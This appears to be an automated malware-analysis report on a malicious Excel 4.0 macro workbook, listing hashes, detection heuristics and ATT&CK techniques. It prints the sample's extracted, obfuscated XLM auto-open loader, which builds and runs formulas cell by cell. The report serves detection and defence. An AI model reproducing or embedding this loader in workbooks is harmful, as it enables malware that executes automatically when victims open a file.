Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3ee949e2d6e57664…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:25:34 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: 5dcb8f70e7f2b2bb2ec802849be72c8b SHA-1: f48baf3545c64c12b8d61ed31cf64ad4c97d99b8 SHA-256: 3ee949e2d6e57664856b520b5ef681371b3dd8e2f44fbf9821968b59201469d6
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding indicating automatic execution upon opening. The presence of dangerous formula APIs like RUN suggests the macro is designed to execute arbitrary code, likely downloading and running a secondary payload. The specific macro functions and obfuscated strings within the document body and script further support this malicious intent.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6501 bytes
SHA-256: e51c90f6877b2ed2e1cc7f0dab040f24f2ccffdad37450d68fe94de7826e324b
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  svIwh
' 0018     22 LABEL : Cell Value, String Constant - ArzCTCq len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G165 
' 0018     26 LABEL : Cell Value, String Constant - cGRSLwEfJAP len=0 
' 0018     27 LABEL : Cell Value, String Constant - CSEHUfJLtffg len=0 
' 0018     23 LABEL : Cell Value, String Constant - cuTvteNL len=0 
' 0018     22 LABEL : Cell Value, String Constant - hFwmgnX len=0 
' 0018     27 LABEL : Cell Value, String Constant - IAniqdengjzd len=0 
' 0018     20 LABEL : Cell Value, String Constant - IVGEW len=0 
' 0018     23 LABEL : Cell Value, String Constant - jkBsbscW len=0 
' 0018     25 LABEL : Cell Value, String Constant - KERgHZNkYD len=0 
' 0018     22 LABEL : Cell Value, String Constant - KLuKKiL len=0 
' 0018     23 LABEL : Cell Value, String Constant - KQwGePPY len=0 
' 0018     21 LABEL : Cell Value, String Constant - osHomX len=0 
' 0018     26 LABEL : Cell Value, String Constant - qbngTwcpGtL len=0 
' 0018     25 LABEL : Cell Value, String Constant - qoIlpDepYv len=0 
' 0018     22 LABEL : Cell Value, String Constant - SnQLsqZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - TfPZikWpIG len=0 
' 0018     26 LABEL : Cell Value, String Constant - tItnDmdXpyN len=0 
' 0018     20 LABEL : Cell Value, String Constant - VgfJg len=0 
' 0018     20 LABEL : Cell Value, String Constant - yTsbU len=0 
' 0018     27 LABEL : Cell Value, String Constant - zvxBiOvAQAIF len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  svIwh,G80,"SET.NAME("osHomX",VALUE("0"))",""
'  svIwh,G82,"SET.NAME("cuTvteNL",osHomX)",""
'  svIwh,G87,"SET.NAME("CSEHUfJLtffg",osHomX)",""
'  svIwh,G92,"SET.NAME("qoIlpDepYv",COUNTA(TfPZikWpIG))",""
'  svIwh,G97,"SET.NAME("VgfJg",COUNTA(ArzCTCq))",""
'  svIwh,G101,[],""
'  svIwh,G106,"SET.NAME("IAniqdengjzd","")",""
'  svIwh,G109,"cuTvteNL",""
'  svIwh,G111,"SET.NAME("qbngTwcpGtL",HLOOKUP("*",TfPZikWpIG,cuTvteNL,FALSE))",""
'  svIwh,G114,"KQwGePPY",""
'  svIwh,G119,"SET.NAME("yTsbU",osHomX)",""
'  svIwh,G121,[],""
'  svIwh,G123,"yTsbU",""
'  svIwh,G125,"KERgHZNkYD",""
'  svIwh,G128,"jkBsbscW",""
'  svIwh,G132,"IVGEW",""
'  svIwh,G134,"SET.NAME("hFwmgnX",VALUE(HLOOKUP("*",ArzCTCq,IVGEW,FALSE)))",""
'  svIwh,G139,"zvxBiOvAQAIF",""
'  svIwh,G141,"IAniqdengjzd",""
'  svIwh,G144,"CSEHUfJLtffg",""
'  svIwh,G146,NEXT(),""
'  svIwh,G150,"tItnDmdXpyN",""
'  svIwh,G152,"SET.NAME("f",INT(T(FORMULA(T(IAniqdengjzd)&"",""&T(tItnDmdXpyN)))))",""
'  svIwh,G154,"KLuKKiL",""
'  svIwh,G158,NEXT(),""
'  svIwh,G162,RETURN(),""
'  svIwh,G188,"SET.NAME("SnQLsqZ",G80)",""
'  svIwh,G190,"TfPZikWpIG",""
'  svIwh,G192,"SET.NAME("ArzCTCq",R46C12)",""
'  svIwh,G197,"SET.NAME("KLuKKiL",206)",""
'  svIwh,G202,"SET.NAME("cGRSLwEfJAP",7)",""
'  svIwh,G205,SnQLsqZ(),""
'  svIwh,G206,HALT(),""